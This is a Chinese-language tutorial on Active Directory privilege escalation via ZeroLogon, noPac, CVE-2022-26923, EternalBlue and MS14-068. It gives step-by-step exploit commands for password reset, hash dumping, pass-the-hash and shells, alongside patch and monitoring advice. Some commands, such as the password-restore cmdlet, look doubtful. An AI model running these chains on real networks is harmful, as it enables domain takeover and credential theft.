1. 域控提权漏洞深度解析与实战指南
在Windows域环境中,域控制器(Domain Controller)的安全直接关系到整个网络的安全边界。近年来曝光的多个高危漏洞让攻击者能够从普通域用户权限直接提升至域管理员权限,这对企业安全构成了严峻挑战。本文将深入剖析CVE-2020-1472(ZeroLogon)、CVE-2021-42287(noPac)、CVE-2022-26923等核心漏洞的原理与利用方式,并提供详细的防御方案。
1.1 漏洞背景与影响范围
Active Directory(AD)作为Windows域环境的核心,其认证协议NetLogon和证书服务(AD CS)曾存在设计缺陷。这些漏洞的共同特点是允许低权限用户通过协议级攻击获取域控权限:
- CVE-2020-1472:影响NetLogon协议的身份验证机制,CVSS评分10.0
- CVE-2021-42287:涉及Kerberos协议中的PAC处理流程,需与CVE-2021-42278组合利用
- CVE-2022-26923:滥用AD CS证书模板的权限配置缺陷
受影响系统包括Windows Server 2008 R2至2022的所有主流版本,这意味着几乎所有企业域环境都曾暴露在风险中。
重要提示:本文所述技术仅限合法授权测试使用,未经授权的渗透测试可能违反法律法规。
2. CVE-2020-1472(ZeroLogon)实战分析
2.1 漏洞原理详解
NetLogon协议使用AES-CFB8模式进行初始向量(IV)生成时,存在加密实现缺陷。攻击者可以通过发送特定格式的认证请求,将IV全部设置为0,使得加密结果可预测,从而绕过身份验证。
关键点在于:
- NetLogon建立安全通道时使用静态IV
- 认证尝试次数无限制
- 成功后可重置域控机器账户密码
2.2 完整利用流程
2.2.1 环境准备
bash复制# 安装必要的Python库
pip install impacket
git clone https://github.com/dirkjanm/CVE-2020-1472
2.2.2 漏洞利用步骤
- 识别域控制器:
cmd复制net group "domain controllers" /domain
- 执行漏洞利用(清空密码):
bash复制python cve-2020-1472-exploit.py DC01 192.168.1.1
- 获取域控HASH:
bash复制python secretsdump.py 'domain/DC01$@192.168.1.1' -no-pass
- 哈希传递攻击(PTH):
bash复制python wmiexec.py -hashes :<ntlm_hash> domain/Administrator@192.168.1.1
2.2.3 密码恢复(必须步骤)
powershell复制# 使用zerologon恢复工具
Reset-DCAccountPassword -Restore -DCName DC01 -Site Default-First-Site-Name
2.3 防御方案
- 安装2020年8月之后的补丁(KB4557222等)
- 启用强制模式:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\FullSecureChannelProtection=1 - 监控事件ID 5827,5828,5829
3. CVE-2021-42287(noPac)组合漏洞利用
3.1 技术原理拆解
该漏洞利用链包含两个关键点:
- CVE-2021-42278:AD未验证机器账户名是否以$结尾
- CVE-2021-42287:KDC在TGS_REP阶段错误处理不存在的账户
攻击者通过创建与域控同名的机器账户(无$后缀),利用S4U2self扩展协议获取高权限服务票据(ST)。
3.2 三种利用方式对比
| 工具名称 | 语言 | 优点 | 缺点 |
|---|---|---|---|
| noPac.py | Python | 功能完整 | 依赖Impacket |
| noPac.exe | C# | 免环境依赖 | 需编译 |
| sam-the-admin | Python | 支持Linux环境 | 需要Proxychains |
3.3 典型利用流程
bash复制# 使用noPac扫描检测
python noPac.py -scan -domain corp.com -user test -password 'P@ss123' -dc-ip 192.168.1.1
# 获取交互式shell
python noPac.py -exploit -domain corp.com -user test -password 'P@ss123' -dc-ip 192.168.1.1 -shell
# 导出域数据
python noPac.py -exploit -domain corp.com -user test -password 'P@ss123' -dc-ip 192.168.1.1 -dump
3.4 防御建议
- 安装2021年11月补丁(KB5008602)
- 限制普通用户创建机器账户的权限
- 监控事件ID 4741(机器账户创建)
4. CVE-2022-26923(AD CS提权)深度剖析
4.1 漏洞形成原因
该漏洞源于AD CS服务两个设计缺陷:
- 允许普通用户修改dNSHostName属性
- 证书模板的访问控制列表(ACL)配置不当
4.2 完整攻击链
- 初始访问:
bash复制certipy req 'corp.com/user:P@ss123@dc.corp.com' -ca CORP-CA -template User
- 创建恶意机器账户:
python复制bloodyAD.py -d corp.com -u user -p 'P@ss123' addComputer fakeDC$
- 属性篡改:
python复制bloodyAD.py -d corp.com -u user -p 'P@ss123' setAttribute 'CN=fakeDC,CN=Computers,DC=corp,DC=com' dNSHostName '["dc.corp.com"]'
- 获取域控证书:
bash复制certipy req 'corp.com/fakeDC$:Password123!@dc.corp.com' -template Machine -ca CORP-CA
- 导出HASH:
bash复制secretsdump.py -hashes :<hash> 'corp.com/dc$@dc.corp.com'
4.3 防御措施
- 安装2022年5月补丁(KB5014754)
- 限制证书模板权限
- 启用证书请求审核(事件ID 4886,4887)
5. 其他高危漏洞补充说明
5.1 MS17-010(永恒之蓝)
bash复制# Metasploit利用示例
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/bind_tcp
exploit
5.2 MS14-068(Kerberos提权)
bash复制# PyKEK工具利用
python ms14-068.py -u user@corp.com -p P@ss123 -s S-1-5-21-... -d dc.corp.com
6. 综合防御策略
-
补丁管理:
- 建立严格的补丁更新周期
- 优先处理CVSS≥9.0的漏洞
-
权限控制:
- 遵循最小权限原则
- 限制机器账户创建权限
-
监控措施:
powershell复制# 检测异常证书请求 Get-WinEvent -LogName 'Security' -FilterXPath '*/System/EventID=4886' -
架构加固:
- 启用LSA保护
- 配置Windows Defender攻击面减少规则
在实际防御中,建议采用分层防御策略,结合网络分段、特权访问管理(PAM)和持续监控,构建全面的域安全防护体系。